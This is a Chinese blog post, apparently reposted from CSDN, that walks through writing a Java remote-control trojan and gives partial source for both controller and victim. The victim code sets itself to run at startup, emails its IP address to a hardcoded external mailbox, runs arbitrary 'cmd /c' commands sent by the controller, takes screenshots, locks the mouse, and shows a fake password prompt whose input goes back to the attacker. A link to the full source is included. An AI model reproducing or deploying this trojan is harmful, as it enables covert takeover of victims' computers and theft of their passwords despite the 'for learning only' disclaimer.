利用Java写木马程序(附源码!)

fmms 13年前

这个小程序是很久以前写的,现在发上来(仅供大家学习参考,不能用于任何非法行为~)

木马定义:利用计算机程序漏洞侵入后窃取文件的程序程序被称为木马。它是一种具有隐藏性的、自发性的可被用来进行恶意行为的程序,多不会直接对电脑产生危害,而是以控制为主。

当然我写的这个没这么“强大”。。。

首先讲下我的实现思路:

主要通过Socket和ServerSocket之间传输数据。

由于我没有自己的一个服务器(没有固定IP),所以在这个程序中,我把被控制端作为ServerSocket,.控制端为Socket。

要连接ServerSocket,首先要知道其的IP地址

这里我采用当程序启动时,从ServerSoket端发送一份包含其IP信息的邮件到自己的邮箱。

随后控制端就可以顺利连接到ServerSoket端了。但是这里有个问题,就是到ServerSoket处于内网时,将无法顺利连接

 

连接成功之后,我们就可以发送命令给ServerSoket。然后在ServerSoket那一端进行执行。

这里的执行包括ServerSoket进行相应的本地操作(具体操作的内容下面有说明),以及发送数据给我们能的控制端。

程序功能说明:

/*
 * 本程序仅供学习参考使用。严禁使用本程序进行违法行为!
 * 本程序功能
 * 1、程序开机自动启动(√)
 * 2、自动发送邮件
 * 3、执行dos命令,并将信息返回、这里可以执行关机等命令(√)
 * 4、锁定鼠标,这里通过一个线程实现
 * 5、查看被控制端的桌面,将桌面画面截图并发送给控制端(√)
 * 6、在被控制端弹出对话框,多种对话框模式(√)
 * 7、让被控制端闪屏(√)
 * 本程序仅供学习参考使用。严禁使用本程序进行违法行为!
 */

下面给出一些程序运行的效果图:

首先输入IP地址进行连接,通过邮件我们可以知道被控制端的IP地址,下面看下邮件效果

利用Java写木马(附源码!)

然后我们就可以进行相应的操作了

如输入-help,可以显示本程序支持的命令。

利用Java写木马(附源码!)

这里演示下在被控制端弹出输入密码对话框

我们在控制端输入-dinpass 亲,请输入的你密码!

那么弹出的对话框效果如图所示!

利用Java写木马(附源码!)

当被控制点击确定时,将发送其输入的密码到控制端,我们可以看到效果。

我输入的是123321

利用Java写木马(附源码!)

再演示个执行dos的关机命令。

利用Java写木马(附源码!)

 

其它功能如鼠标锁定等,不方便控制演示。就留给大家自己探索!!!

 

下面附上代码

由于代码较多,这里上传部分代码

控制端部分代码

ControlWin.java

import ...;  public class ControlWin {   Socket socket;   ........   public ControlWin() {    in = new Scanner(System.in);    System.out.print("输入IP:");    IP = in.nextLine().trim();    try {     socket = new Socket(IP, PORT);     ....初始化其它信息     System.out.println("contected");     dos = new DataOutputStream(socket.getOutputStream());     dis = new DataInputStream(socket.getInputStream());     new Thread(new MyInputThread()).start();     go();    } catch (UnknownHostException e) {     e.printStackTrace();     return;    } catch (IOException e) {     e.printStackTrace();     return;    }   }     public void go() {//开始发送命令    while (true) {     System.out.println("intput commend:");     dosS = in.nextLine().trim();     if () {.......     } else if (dosS.endsWith("-help")) {      System.out        .println("-doutmsg msg 以对话框形式输出信息\n"          + "-dinmsg 弹出一个输入对话框\n"          + "-dinpass msg 弹出一个输入密码对话框+显示信息msg\n"          + "-flash msg 闪屏并显示msg所表示的文字\n" + "-p:获取图片\n"          + "-m l锁定键盘 .....-m a取消锁定\n"          + "输入其则执行相应的dos命令,如输入ipconfig 则显示相应的ip信息\n"          + "exit:退出");      continue;     }     try {      dos.writeUTF(dosS);     } catch (IOException e) {      e.printStackTrace();     }    }   }     /*接受被控制端发送过来的图片*/   public void getPic() {.....    while (true) {     try {      num = dis.read(imageData, 0, imageData.length);      fos.write(imageData, 0, num);      length -= num;      if (length == 0) {       break;      }     } catch (Exception e) {      try {       System.out.println("error");       fos.flush();       fos.close();      } catch (IOException e1) {       e1.printStackTrace();      }      break;     }    }....   }     public static void main(String[] args) {    new ControlWin();   }     class MyInputThread implements Runnable {接受被控制端返回的文本信息    public void run() {     while (true) {      .....   }    }   }  }
被控制端部分代码

Test.java

public class Test {   ServerSocket serverSocket;   Socket socket;......   public Test() {    /*      在注册表中设置开机自动运行 register();      以及发送邮件,主要是把自己的IP发出来,并进行一些初始化......     */    go();    }   }   /* 在注册表中设置开机自动运行 */   void go() {    while (true) {     /*         * 这里不断的接受发送过来的命令然后根据命令执行相应的操作         * 如:(标有√,的是本程序已经实现的功能)         * 1、我们可以通过开启一个线程通过robot锁定鼠标(√)         * 2、执行dos命令(√)         * 3、传输被控制端的文件         * 4、查看被控制端的桌面(√)         * 5、在被控制端弹出对话框(√)         * 6、让被控制端闪屏(√)         * 7、等等等等         * 具体的实现都在这里进行,当然这个需要和控制者那段的代码相配合         * 同时自己设计好具体的命令         * */     try {      commendString = dis.readUTF().trim();     } catch (IOException e) {      System.out.println("leave");      break;     }     然后对commendString进行分析,执行相应的命令就是上面所描述的1,2,3...等等等命令    }   }   /*在注册表注册开机自动启动*/   public void register() {    ......   }   /*启动线程锁定鼠标*/   void mouseLock(String s) {    ......   }   /*执行dos命令*/   void dosExe(String dosString) {    String command = "cmd /c " + dosString;    String s = null;    try {     process = r.exec(command);     bufferedReader = new BufferedReader(new InputStreamReader(process       .getInputStream()));     dos.writeUTF("1start");     while ((s = bufferedReader.readLine()) != null) {      s = s.trim();      dos.writeUTF(s);     }     dos.writeUTF("1end");    } catch (IOException e) {     e.printStackTrace();    }   }   /*发送图片*/   void sendPic() {......   }     public static void main(String[] args) {    new Test();   }   /*获取本地IP*/   String getIP() {    String ipString = "";    Enumeration<NetworkInterface> netInterfaces = null;    try {     netInterfaces = NetworkInterface.getNetworkInterfaces();     while (netInterfaces.hasMoreElements()) {      NetworkInterface ni = netInterfaces.nextElement();      ipString = ipString + ni.getDisplayName() + "\n";      ipString = ipString + ni.getName() + "\n";      Enumeration<InetAddress> ips = ni.getInetAddresses();      while (ips.hasMoreElements()) {       ipString = ipString + ips.nextElement().getHostAddress()         + "\n";      }     }    } catch (Exception e) {     e.printStackTrace();    }    return ipString;   }   /*显示消息对话框*/   class ShowDialogThread extends Thread {......   }     class MouseLockThread extends Thread {......   }     // 这里可以启动其它的应用程序   class OtherApp extends Thread {   }   /*下面两个类用于文件复制*/   class JarUtil {......   }   class MyCopy {    public int fileCopy(String sFile, String oFile) {......    }   }   /*    * 发送邮件部分 需要一两个邮箱,一个是发送方邮箱,一个是接受邮箱    */   class SMail {    boolean sended = false;    Properties props;    Session session;    Message msg;    Transport transport;      public void send(String s) {     try {      // System.out.println(s);      props = new Properties();      props.setProperty("mail.smtp.auth", "true");      props.setProperty("mail.transport.protocol", "smtp");      session = Session.getDefaultInstance(props);      // session.setDebug(true);      msg = new MimeMessage(session);      msg.setSubject("ip");      msg.setText(s);      /*xxxxxxxxxxxxxxxx为发送方邮箱用户名*/      msg.setFrom(new InternetAddress("xxxxxxxxxxxxxxxx@sina.com"));      transport = session.getTransport();      /*xxxxxxxxxxxxxxxx为发送方邮箱用户名、       *yyyyyyyyy为发送方邮箱密码*/      transport.connect("smtp.sina.com", 25, "xxxxxxxxxxxxxxxx", "yyyyyyyyy");      transport.sendMessage(msg, new Address[] { new InternetAddress(        "496977458@qq.com") });      transport.close();      sended = true;     } catch (Exception e) {     }      }      public SMail() {     sended = false;    }   }   /*密码输入框*/   class MyDialogPassInput extends JDialog {......   }   /*闪屏*/   class Flash {......   }   /*输入对话框*/   class MyDialogMsgInput extends JDialog {    JTextField text;    JButton sureButton;    String string;      public MyDialogMsgInput(String s) {......    }   }

转自:http://blog.csdn.net/leasystu/article/details/7268402
附上完整源码地址

http://download.csdn.net/detail/leasystu/4070931